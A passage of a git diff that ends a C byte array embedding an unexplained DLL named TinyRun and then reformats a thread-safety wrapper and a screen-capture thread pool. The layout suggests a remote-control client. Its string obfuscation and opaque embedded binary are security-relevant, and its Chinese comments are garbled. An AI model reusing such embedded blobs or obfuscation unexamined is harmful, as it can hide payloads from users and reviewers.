0x20, 0x01, 0x00, 0x04, 0x01, 0x00, 0x00, 0xf8, 0xa2, 0x00, 0xa3, + 0x08, 0xa3, 0x10, 0xa3, 0x18, 0xa3, 0x38, 0xa3, 0x40, 0xa3, 0x48, 0xa3, + 0x60, 0xa3, 0x68, 0xa3, 0x70, 0xa3, 0x98, 0xa3, 0xa0, 0xa3, 0xc0, 0xa3, + 0xd0, 0xa3, 0xe0, 0xa3, 0xf0, 0xa3, 0x00, 0xa4, 0x10, 0xa4, 0x20, 0xa4, + 0x30, 0xa4, 0x40, 0xa4, 0x50, 0xa4, 0x60, 0xa4, 0x70, 0xa4, 0x80, 0xa4, + 0x90, 0xa4, 0xa0, 0xa4, 0xb0, 0xa4, 0xc0, 0xa4, 0xd0, 0xa4, 0xe0, 0xa4, + 0xf0, 0xa4, 0x00, 0xa5, 0x10, 0xa5, 0x20, 0xa5, 0x30, 0xa5, 0x40, 0xa5, + 0x50, 0xa5, 0x60, 0xa5, 0x70, 0xa5, 0x80, 0xa5, 0x90, 0xa5, 0xa0, 0xa5, + 0xb0, 0xa5, 0xc0, 0xa5, 0xd0, 0xa5, 0xe0, 0xa5, 0xf0, 0xa5, 0x00, 0xa6, + 0x10, 0xa6, 0x20, 0xa6, 0x30, 0xa6, 0x40, 0xa6, 0x50, 0xa6, 0x60, 0xa6, + 0x70, 0xa6, 0x80, 0xa6, 0x90, 0xa6, 0xa0, 0xa6, 0xb0, 0xa6, 0xc0, 0xa6, + 0xd0, 0xa6, 0xe0, 0xa6, 0xf0, 0xa6, 0x00, 0xa7, 0x10, 0xa7, 0x20, 0xa7, + 0x30, 0xa7, 0x40, 0xa7, 0x50, 0xa7, 0x60, 0xa7, 0x70, 0xa7, 0x80, 0xa7, + 0x90, 0xa7, 0xa0, 0xa7, 0xb0, 0xa7, 0xc0, 0xa7, 0xd0, 0xa7, 0xe0, 0xa7, + 0xf0, 0xa7, 0x00, 0xa8, 0x10, 0xa8, 0x20, 0xa8, 0x30, 0xa8, 0x40, 0xa8, + 0x50, 0xa8, 0x60, 0xa8, 0x70, 0xa8, 0x80, 0xa8, 0x90, 0xa8, 0xa0, 0xa8, + 0xb0, 0xa8, 0xc0, 0xa8, 0xd0, 0xa8, 0xe0, 0xa8, 0xf0, 0xa8, 0x00, 0xa9, + 0x10, 0xa9, 0x20, 0xa9, 0x30, 0xa9, 0x40, 0xa9, 0x50, 0xa9, 0x60, 0xa9, + 0x70, 0xa9, 0x80, 0xa9, 0x90, 0xa9, 0xa0, 0xa9, 0xb0, 0xa9, 0xc0, 0xa9, + 0xd0, 0xa9, 0xe0, 0xa9, 0xf0, 0xa9, 0x00, 0xaa, 0x10, 0xaa, 0x20, 0xaa, + 0x30, 0xaa, 0x40, 0xaa, 0x50, 0xaa, 0x60, 0xaa, 0x70, 0xaa, 0x80, 0xaa, + 0x90, 0xaa, 0xa0, 0xaa, 0xb0, 0xaa, 0xc0, 0xaa, 0x00, 0x30, 0x01, 0x00, + 0x10, 0x01, 0x00, 0x00, 0x88, 0xa1, 0x90, 0xa1, 0x98, 0xa1, 0xf0, 0xa7, + 0x00, 0xa8, 0x10, 0xa8, 0x18, 0xa8, 0x20, 0xa8, 0x28, 0xa8, 0x30, 0xa8, + 0x38, 0xa8, 0x40, 0xa8, 0x48, 0xa8, 0x58, 0xa8, 0x60, 0xa8, 0x68, 0xa8, + 0x70, 0xa8, 0x78, 0xa8, 0x80, 0xa8, 0x88, 0xa8, 0x90, 0xa8, 0xa8, 0xa8, + 0xb8, 0xa8, 0xc8, 0xa8, 0xd0, 0xa8, 0xd8, 0xa8, 0xe0, 0xa8, 0xe8, 0xa8, + 0x60, 0xaa, 0x68, 0xaa, 0x70, 0xaa, 0x78, 0xaa, 0x80, 0xaa, 0x88, 0xaa, + 0x90, 0xaa, 0x98, 0xaa, 0xa0, 0xaa, 0xa8, 0xaa, 0xb0, 0xaa, 0xb8, 0xaa, + 0xc0, 0xaa, 0xc8, 0xaa, 0xd0, 0xaa, 0xd8, 0xaa, 0x40, 0xab, 0x48, 0xab, + 0x50, 0xab, 0x58, 0xab, 0x60, 0xab, 0x68, 0xab, 0x70, 0xab, 0x78, 0xab, + 0x80, 0xab, 0x88, 0xab, 0x90, 0xab, 0x98, 0xab, 0xa0, 0xab, 0xa8, 0xab, + 0xb0, 0xab, 0xb8, 0xab, 0xc0, 0xab, 0xc8, 0xab, 0xd0, 0xab, 0xd8, 0xab, + 0xe0, 0xab, 0xe8, 0xab, 0xf0, 0xab, 0xf8, 0xab, 0x00, 0xac, 0x08, 0xac, + 0x10, 0xac, 0x18, 0xac, 0x20, 0xac, 0x28, 0xac, 0x30, 0xac, 0x38, 0xac, + 0x40, 0xac, 0x48, 0xac, 0x50, 0xac, 0x58, 0xac, 0x60, 0xac, 0x68, 0xac, + 0x70, 0xac, 0x78, 0xac, 0x80, 0xac, 0x88, 0xac, 0x90, 0xac, 0xa0, 0xac, + 0xa8, 0xac, 0xb0, 0xac, 0xb8, 0xac, 0xc0, 0xac, 0xc8, 0xac, 0xd0, 0xac, + 0xd8, 0xac, 0xe0, 0xac, 0xe8, 0xac, 0xf0, 0xac, 0xf8, 0xac, 0x00, 0xad, + 0x08, 0xad, 0x10, 0xad, 0x18, 0xad, 0x20, 0xad, 0x28, 0xad, 0x30, 0xad, + 0x38, 0xad, 0x40, 0xad, 0x48, 0xad, 0x50, 0xad, 0x58, 0xad, 0x60, 0xad, + 0x68, 0xad, 0x70, 0xad, 0x78, 0xad, 0x80, 0xad, 0x88, 0xad, 0x90, 0xad, + 0x98, 0xad, 0xa0, 0xad, 0xa8, 0xad, 0xb0, 0xad, 0xb8, 0xad, 0xc0, 0xad, + 0xc8, 0xad, 0xd0, 0xad, 0xd8, 0xad, 0xe0, 0xad, 0xe8, 0xad, 0xf0, 0xad, + 0xf8, 0xad, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x38, 0x00, 0x00, 0x00, + 0xc0, 0xa1, 0xc8, 0xa1, 0xd0, 0xa1, 0xd8, 0xa1, 0xe0, 0xa1, 0xe8, 0xa1, + 0xf0, 0xa1, 0xf8, 0xa1, 0x00, 0xa2, 0x08, 0xa2, 0x10, 0xa2, 0x18, 0xa2, + 0x20, 0xa2, 0x28, 0xa2, 0x30, 0xa2, 0x38, 0xa2, 0x40, 0xa2, 0x48, 0xa2, + 0x50, 0xa2, 0x58, 0xa2, 0x70, 0xad, 0x78, 0xad, 0x80, 0xad, 0x88, 0xad, + 0x00, 0x50, 0x01, 0x00, 0x10, 0x01, 0x00, 0x00, 0xd8, 0xa7, 0xe8, 0xa7, + 0xf8, 0xa7, 0x08, 0xa8, 0x18, 0xa8, 0x28, 0xa8, 0x38, 0xa8, 0x48, 0xa8, + 0x58, 0xa8, 0x68, 0xa8, 0x78, 0xa8, 0x88, 0xa8, 0x98, 0xa8, 0xa8, 0xa8, + 0xb8, 0xa8, 0xc8, 0xa8, 0xd8, 0xa8, 0xe8, 0xa8, 0xf8, 0xa8, 0x08, 0xa9, + 0x18, 0xa9, 0x28, 0xa9, 0x38, 0xa9, 0x48, 0xa9, 0x58, 0xa9, 0x68, 0xa9, + 0x78, 0xa9, 0x88, 0xa9, 0x98, 0xa9, 0xa8, 0xa9, 0xb8, 0xa9, 0xc8, 0xa9, + 0xd8, 0xa9, 0xe8, 0xa9, 0xf8, 0xa9, 0x08, 0xaa, 0x18, 0xaa, 0x28, 0xaa, + 0x38, 0xaa, 0x48, 0xaa, 0x58, 0xaa, 0x68, 0xaa, 0x78, 0xaa, 0x88, 0xaa, + 0x98, 0xaa, 0xa8, 0xaa, 0xb8, 0xaa, 0xc8, 0xaa, 0xd8, 0xaa, 0xe8, 0xaa, + 0xf8, 0xaa, 0x08, 0xab, 0x18, 0xab, 0x28, 0xab, 0x38, 0xab, 0x48, 0xab, + 0x58, 0xab, 0x68, 0xab, 0x78, 0xab, 0x88, 0xab, 0x98, 0xab, 0xa8, 0xab, + 0xb8, 0xab, 0xc8, 0xab, 0xd8, 0xab, 0xe8, 0xab, 0xf8, 0xab, 0x08, 0xac, + 0x18, 0xac, 0x28, 0xac, 0x38, 0xac, 0x48, 0xac, 0x58, 0xac, 0x68, 0xac, + 0x78, 0xac, 0x88, 0xac, 0x98, 0xac, 0xa8, 0xac, 0xb8, 0xac, 0xc8, 0xac, + 0xd8, 0xac, 0xe8, 0xac, 0xf8, 0xac, 0x08, 0xad, 0x18, 0xad, 0x28, 0xad, + 0x38, 0xad, 0x48, 0xad, 0x58, 0xad, 0x68, 0xad, 0x78, 0xad, 0x88, 0xad, + 0x98, 0xad, 0xa8, 0xad, 0xb8, 0xad, 0xc8, 0xad, 0xd8, 0xad, 0xe8, 0xad, + 0xf8, 0xad, 0x08, 0xae, 0x18, 0xae, 0x28, 0xae, 0x38, 0xae, 0x48, 0xae, + 0x58, 0xae, 0x68, 0xae, 0x78, 0xae, 0x88, 0xae, 0x98, 0xae, 0xa8, 0xae, + 0xb8, 0xae, 0xc8, 0xae, 0xd8, 0xae, 0xe8, 0xae, 0xf8, 0xae, 0x08, 0xaf, + 0x18, 0xaf, 0x28, 0xaf, 0x38, 0xaf, 0x48, 0xaf, 0x58, 0xaf, 0x68, 0xaf, + 0x78, 0xaf, 0x88, 0xaf, 0x98, 0xaf, 0xa8, 0xaf, 0xb8, 0xaf, 0xc8, 0xaf, + 0xd8, 0xaf, 0xe8, 0xaf, 0xf8, 0xaf, 0x00, 0x00, 0x00, 0x60, 0x01, 0x00, + 0xcc, 0x00, 0x00, 0x00, 0x08, 0xa0, 0x18, 0xa0, 0x28, 0xa0, 0x38, 0xa0, + 0x48, 0xa0, 0x58, 0xa0, 0x68, 0xa0, 0x78, 0xa0, 0x88, 0xa0, 0x98, 0xa0, + 0xa8, 0xa0, 0xb8, 0xa0, 0xc8, 0xa0, 0xd8, 0xa0, 0xe8, 0xa0, 0xf8, 0xa0, + 0x08, 0xa1, 0x18, 0xa1, 0x28, 0xa1, 0x38, 0xa1, 0x48, 0xa1, 0x58, 0xa1, + 0x68, 0xa1, 0x78, 0xa1, 0x88, 0xa1, 0x98, 0xa1, 0xa8, 0xa1, 0xb8, 0xa1, + 0xc8, 0xa1, 0xd8, 0xa1, 0xe8, 0xa1, 0xf8, 0xa1, 0x08, 0xa2, 0x18, 0xa2, + 0x28, 0xa2, 0x38, 0xa2, 0x48, 0xa2, 0x58, 0xa2, 0x68, 0xa2, 0x78, 0xa2, + 0x88, 0xa2, 0x98, 0xa2, 0xa8, 0xa2, 0xb8, 0xa2, 0xc8, 0xa2, 0xd8, 0xa2, + 0xe8, 0xa2, 0xf8, 0xa2, 0x08, 0xa3, 0x18, 0xa3, 0x28, 0xa3, 0x38, 0xa3, + 0x48, 0xa3, 0x58, 0xa3, 0x68, 0xa3, 0x78, 0xa3, 0x88, 0xa3, 0x98, 0xa3, + 0xa8, 0xa3, 0xb8, 0xa3, 0xc8, 0xa3, 0xd8, 0xa3, 0xe8, 0xa3, 0xf8, 0xa3, + 0x08, 0xa4, 0x18, 0xa4, 0x28, 0xa4, 0x38, 0xa4, 0x48, 0xa4, 0x58, 0xa4, + 0x68, 0xa4, 0x78, 0xa4, 0x88, 0xa4, 0x98, 0xa4, 0xa8, 0xa4, 0xb8, 0xa4, + 0xc8, 0xa4, 0xd8, 0xa4, 0xe8, 0xa4, 0xf8, 0xa4, 0x08, 0xa5, 0x18, 0xa5, + 0x28, 0xa5, 0x38, 0xa5, 0x48, 0xa5, 0x58, 0xa5, 0x68, 0xa5, 0x78, 0xa5, + 0x88, 0xa5, 0x98, 0xa5, 0xa8, 0xa5, 0xb8, 0xa5, 0xc8, 0xa5, 0xd8, 0xa5, + 0xe8, 0xa5, 0xf8, 0xa5, 0x08, 0xa6, 0x00, 0x00, 0x00, 0x70, 0x01, 0x00, + 0xc4, 0x01, 0x00, 0x00, 0x30, 0xa2, 0x40, 0xa2, 0x50, 0xa2, 0x60, 0xa2, + 0x70, 0xa2, 0x80, 0xa2, 0x90, 0xa2, 0xa0, 0xa2, 0xb0, 0xa2, 0xc0, 0xa2, + 0xd0, 0xa2, 0xe0, 0xa2, 0xf0, 0xa2, 0x00, 0xa3, 0x10, 0xa3, 0x20, 0xa3, + 0x30, 0xa3, 0x40, 0xa3, 0x50, 0xa3, 0x60, 0xa3, 0x70, 0xa3, 0x80, 0xa3, + 0x90, 0xa3, 0xa0, 0xa3, 0xb0, 0xa3, 0xc0, 0xa3, 0xd0, 0xa3, 0xe0, 0xa3, + 0xf0, 0xa3, 0x00, 0xa4, 0x10, 0xa4, 0x20, 0xa4, 0x30, 0xa4, 0x40, 0xa4, + 0x50, 0xa4, 0x60, 0xa4, 0x70, 0xa4, 0x80, 0xa4, 0x90, 0xa4, 0xa0, 0xa4, + 0xb0, 0xa4, 0xc0, 0xa4, 0xd0, 0xa4, 0xe0, 0xa4, 0xf0, 0xa4, 0x00, 0xa5, + 0x10, 0xa5, 0x20, 0xa5, 0x30, 0xa5, 0x40, 0xa5, 0x50, 0xa5, 0x60, 0xa5, + 0x70, 0xa5, 0x80, 0xa5, 0x90, 0xa5, 0xa0, 0xa5, 0xb0, 0xa5, 0xc0, 0xa5, + 0xd0, 0xa5, 0xe0, 0xa5, 0xf0, 0xa5, 0x00, 0xa6, 0x10, 0xa6, 0x20, 0xa6, + 0x30, 0xa6, 0x40, 0xa6, 0x50, 0xa6, 0x60, 0xa6, 0x70, 0xa6, 0x80, 0xa6, + 0x90, 0xa6, 0xa0, 0xa6, 0xb0, 0xa6, 0xc0, 0xa6, 0xd0, 0xa6, 0xe0, 0xa6, + 0xf0, 0xa6, 0x00, 0xa7, 0x10, 0xa7, 0x20, 0xa7, 0x30, 0xa7, 0x40, 0xa7, + 0x50, 0xa7, 0x60, 0xa7, 0x70, 0xa7, 0x80, 0xa7, 0x90, 0xa7, 0xa0, 0xa7, + 0xb0, 0xa7, 0xc0, 0xa7, 0xd0, 0xa7, 0xe0, 0xa7, 0xf0, 0xa7, 0x00, 0xa8, + 0x10, 0xa8, 0x20, 0xa8, 0x30, 0xa8, 0x40, 0xa8, 0x50, 0xa8, 0x60, 0xa8, + 0x70, 0xa8, 0x80, 0xa8, 0x90, 0xa8, 0xa0, 0xa8, 0xb0, 0xa8, 0xc0, 0xa8, + 0xd0, 0xa8, 0xe0, 0xa8, 0xf0, 0xa8, 0x00, 0xa9, 0x10, 0xa9, 0x20, 0xa9, + 0x30, 0xa9, 0x40, 0xa9, 0x50, 0xa9, 0x60, 0xa9, 0x70, 0xa9, 0x80, 0xa9, + 0x90, 0xa9, 0xa0, 0xa9, 0xb0, 0xa9, 0xc0, 0xa9, 0xd0, 0xa9, 0xe0, 0xa9, + 0xf0, 0xa9, 0x00, 0xaa, 0x10, 0xaa, 0x20, 0xaa, 0x30, 0xaa, 0x40, 0xaa, + 0x50, 0xaa, 0x60, 0xaa, 0x70, 0xaa, 0x80, 0xaa, 0x90, 0xaa, 0xa0, 0xaa, + 0xb0, 0xaa, 0xc0, 0xaa, 0xd0, 0xaa, 0xe0, 0xaa, 0xf0, 0xaa, 0x00, 0xab, + 0x10, 0xab, 0x20, 0xab, 0x30, 0xab, 0x40, 0xab, 0x50, 0xab, 0x60, 0xab, + 0x70, 0xab, 0x80, 0xab, 0x90, 0xab, 0xa0, 0xab, 0xb0, 0xab, 0xc0, 0xab, + 0xd0, 0xab, 0xe0, 0xab, 0xf0, 0xab, 0x00, 0xac, 0x10, 0xac, 0x20, 0xac, + 0x30, 0xac, 0x40, 0xac, 0x50, 0xac, 0x60, 0xac, 0x70, 0xac, 0x80, 0xac, + 0x90, 0xac, 0xa0, 0xac, 0xb0, 0xac, 0xc0, 0xac, 0xd0, 0xac, 0xe0, 0xac, + 0xf0, 0xac, 0x00, 0xad, 0x10, 0xad, 0x20, 0xad, 0x30, 0xad, 0x40, 0xad, + 0x50, 0xad, 0x60, 0xad, 0x70, 0xad, 0x80, 0xad, 0x90, 0xad, 0xa0, 0xad, + 0xb0, 0xad, 0xc0, 0xad, 0xd0, 0xad, 0xe0, 0xad, 0xf0, 0xad, 0x00, 0xae, + 0x10, 0xae, 0x20, 0xae, 0x30, 0xae, 0x40, 0xae, 0x50, 0xae, 0x60, 0xae, + 0x70, 0xae, 0x80, 0xae, 0x90, 0xae, 0xa0, 0xae, 0xb0, 0xae, 0xc0, 0xae, + 0xd0, 0xae, 0xe0, 0xae, 0xf0, 0xae, 0x00, 0xaf, 0x10, 0xaf, 0x20, 0xaf, + 0x30, 0xaf, 0x40, 0xaf, 0x50, 0xaf, 0x60, 0xaf, 0x70, 0xaf, 0x80, 0xaf, + 0x90, 0xaf, 0xa0, 0xaf, 0xb0, 0xaf, 0xc0, 0xaf, 0xd0, 0xaf, 0xe0, 0xaf, + 0xf0, 0xaf, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, + 0x00, 0xa0, 0x10, 0xa0, 0x20, 0xa0, 0x30, 0xa0, 0x40, 0xa0, 0x50, 0xa0, + 0x60, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, + 0xb8, 0xa6, 0xd0, 0xa6, 0xd8, 0xa6, 0x60, 0xa7, 0x78, 0xa7, 0x80, 0xa7, + 0x88, 0xa7, 0x90, 0xa7, 0x00, 0xd0, 0x01, 0x00, 0x44, 0x00, 0x00, 0x00, + 0x70, 0xa1, 0xb8, 0xa1, 0xd8, 0xa1, 0xf8, 0xa1, 0x18, 0xa2, 0x38, 0xa2, + 0x68, 0xa2, 0x80, 0xa2, 0x88, 0xa2, 0x90, 0xa2, 0xc8, 0xa2, 0xd0, 0xa2, + 0x30, 0xa8, 0x38, 0xa8, 0x40, 0xa8, 0x48, 0xa8, 0x50, 0xa8, 0x58, 0xa8, + 0x60, 0xa8, 0x68, 0xa8, 0x70, 0xa8, 0x78, 0xa8, 0x88, 0xa8, 0x90, 0xa8, + 0x98, 0xa8, 0xa0, 0xa8, 0xa8, 0xa8, 0xb0, 0xa8, 0xb8, 0xa8, 0xc0, 0xa8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; unsigned int TinyRun_dll_len = 121856; diff --git a/client/SafeThread.cpp b/client/SafeThread.cpp index 0914eba..29f1e5d 100644 --- a/client/SafeThread.cpp +++ b/client/SafeThread.cpp @@ -4,94 +4,93 @@ #include // RoutineInfo ¼߳Ϣ. -typedef struct RoutineInfo +typedef struct RoutineInfo { + DWORD tid; // ߳ID + + LPTHREAD_START_ROUTINE Func; // ̺߳ + LPVOID Param; // ̲߳ + + OnException Excep; // 쳣 + LPVOID User; // + + std::string File; // ̵߳ļ + int Line; // ļ + std::string Name; // + bool Trace; // ׷߳ + +} RoutineInfo; + +DWORD HandleCppException(RoutineInfo& ri) { - DWORD tid; // ߳ID - - LPTHREAD_START_ROUTINE Func; // ̺߳ - LPVOID Param; // ̲߳ - - OnException Excep; // 쳣 - LPVOID User; // - - std::string File; // ̵߳ļ - int Line; // ļ - std::string Name; // - bool Trace; // ׷߳ - -}RoutineInfo; - -DWORD HandleCppException(RoutineInfo& ri) { - try { - return ri.Func(ri.Param); // ʵ̺߳ - } - catch (const std::exception& e) { - if (ri.Excep) { - Mprintf("[%d] C++ 쳣: %s. [%s:%d]\n", ri.tid, e.what(), ri.File.c_str(), ri.Line); - return ri.Excep(ri.User, ri.Param); - } - Mprintf("[%d] C++ 쳣: %s. ûṩ쳣[%s:%d]!\n", ri.tid, e.what(), ri.File.c_str(), ri.Line); - } - catch (...) { - if (ri.Excep) { - Mprintf("[%d] δ֪ C++ 쳣. [%s:%d]\n", ri.tid, ri.File.c_str(), ri.Line); - return ri.Excep(ri.User, ri.Param); - } - Mprintf("[%d] δ֪ C++ 쳣. ûṩ쳣[%s:%d]!\n", ri.tid, ri.File.c_str(), ri.Line); - } - return 0xDEAD0002; + try { + return ri.Func(ri.Param); // ʵ̺߳ + } catch (const std::exception& e) { + if (ri.Excep) { + Mprintf("[%d] C++ 쳣: %s. [%s:%d]\n", ri.tid, e.what(), ri.File.c_str(), ri.Line); + return ri.Excep(ri.User, ri.Param); + } + Mprintf("[%d] C++ 쳣: %s. ûṩ쳣[%s:%d]!\n", ri.tid, e.what(), ri.File.c_str(), ri.Line); + } catch (...) { + if (ri.Excep) { + Mprintf("[%d] δ֪ C++ 쳣. [%s:%d]\n", ri.tid, ri.File.c_str(), ri.Line); + return ri.Excep(ri.User, ri.Param); + } + Mprintf("[%d] δ֪ C++ 쳣. ûṩ쳣[%s:%d]!\n", ri.tid, ri.File.c_str(), ri.Line); + } + return 0xDEAD0002; } -DWORD HandleSEHException(RoutineInfo & ri) { - __try { - // ִʵ̺߳ - return HandleCppException(ri); - } - __except (EXCEPTION_EXECUTE_HANDLER) { - if (ri.Excep) { - Mprintf("[%d] Ӳ쳣̲߳. [%s:%d] Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode()); - return ri.Excep(ri.User, ri.Param); - } - Mprintf("[%d] Ӳ쳣. ûṩ쳣[%s:%d]! Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode()); - return 0xDEAD0001; // ش״̬ - } +DWORD HandleSEHException(RoutineInfo & ri) +{ + __try { + // ִʵ̺߳ + return HandleCppException(ri); + } __except (EXCEPTION_EXECUTE_HANDLER) { + if (ri.Excep) { + Mprintf("[%d] Ӳ쳣̲߳. [%s:%d] Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode()); + return ri.Excep(ri.User, ri.Param); + } + Mprintf("[%d] Ӳ쳣. ûṩ쳣[%s:%d]! Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode()); + return 0xDEAD0001; // ش״̬ + } } // ͨ쳣װ -DWORD WINAPI ThreadWrapper(LPVOID lpParam) { - RoutineInfo *ri = (RoutineInfo *)lpParam; - ri->tid = GetCurrentThreadId(); - RoutineInfo pRealThreadFunc = *ri; - delete ri; +DWORD WINAPI ThreadWrapper(LPVOID lpParam) +{ + RoutineInfo *ri = (RoutineInfo *)lpParam; + ri->tid = GetCurrentThreadId(); + RoutineInfo pRealThreadFunc = *ri; + delete ri; - if (pRealThreadFunc.Trace) - { - CAutoLog Log(pRealThreadFunc.Name.c_str()); - // 쳣 - return HandleSEHException(pRealThreadFunc); - } - // 쳣 - return HandleSEHException(pRealThreadFunc); + if (pRealThreadFunc.Trace) { + CAutoLog Log(pRealThreadFunc.Name.c_str()); + // 쳣 + return HandleSEHException(pRealThreadFunc); + } + // 쳣 + return HandleSEHException(pRealThreadFunc); } // 쳣̣߳¼̵߳ļͺ HANDLE CreateSafeThread(const char*file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize, - LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) { + LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) +{ - if (excep) assert(user); // 쳣Ͳͬʱṩ - if (excep && !user) { - Mprintf("[ERROR] ṩ쳣 user Ϊ NULL, ܾ߳[%s:%d]!\n", file, line); - return NULL; - } + if (excep) assert(user); // 쳣Ͳͬʱṩ + if (excep && !user) { + Mprintf("[ERROR] ṩ쳣 user Ϊ NULL, ܾ߳[%s:%d]!\n", file, line); + return NULL; + } - auto ri = new RoutineInfo{ 0, lpStartAddress, lpParameter, excep, user, file ? file : "", line, fname, dwStackSize == 0 }; + auto ri = new RoutineInfo{ 0, lpStartAddress, lpParameter, excep, user, file ? file : "", line, fname, dwStackSize == 0 }; - HANDLE hThread = ::CreateThread(NULL, dwStackSize, ThreadWrapper, ri, dwCreationFlags, lpThreadId); - if (!hThread) { - Mprintf("[ERROR] ߳ʧܣGetLastError=%lu [%s:%d]\n", GetLastError(), file, line); - delete ri; - return NULL; - } + HANDLE hThread = ::CreateThread(NULL, dwStackSize, ThreadWrapper, ri, dwCreationFlags, lpThreadId); + if (!hThread) { + Mprintf("[ERROR] ߳ʧܣGetLastError=%lu [%s:%d]\n", GetLastError(), file, line); + delete ri; + return NULL; + } - return hThread; + return hThread; } diff --git a/client/SafeThread.h b/client/SafeThread.h index c53348a..9766223 100644 --- a/client/SafeThread.h +++ b/client/SafeThread.h @@ -6,7 +6,7 @@ typedef DWORD (*OnException)(LPVOID user, LPVOID param); // 쳣߳ HANDLE CreateSafeThread(const char* file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize, - LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); + LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); #if USING_SAFETHRED #define __CreateThread(p1,p2,p3,p4,p5,p6) CreateSafeThread(skCrypt(__FILE__),__LINE__,skCrypt(#p3),p1,p2,0,p3,p4,p5,p6) diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 1f629ca..e0e5bed 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -16,445 +16,454 @@ #include "X264Encoder.h" -class ThreadPool { +class ThreadPool +{ public: - // 캯̶߳ - ThreadPool(size_t numThreads) : stop(false) { - for (size_t i = 0; i < numThreads; ++i) { - workers.emplace_back([this] { - while (true) { - std::function task; - { - std::unique_lock lock(this->queueMutex); - this->condition.wait(lock, [this] { return this->stop || !this->tasks.empty(); }); - if (this->stop && this->tasks.empty()) return; - task = std::move(this->tasks.front()); - 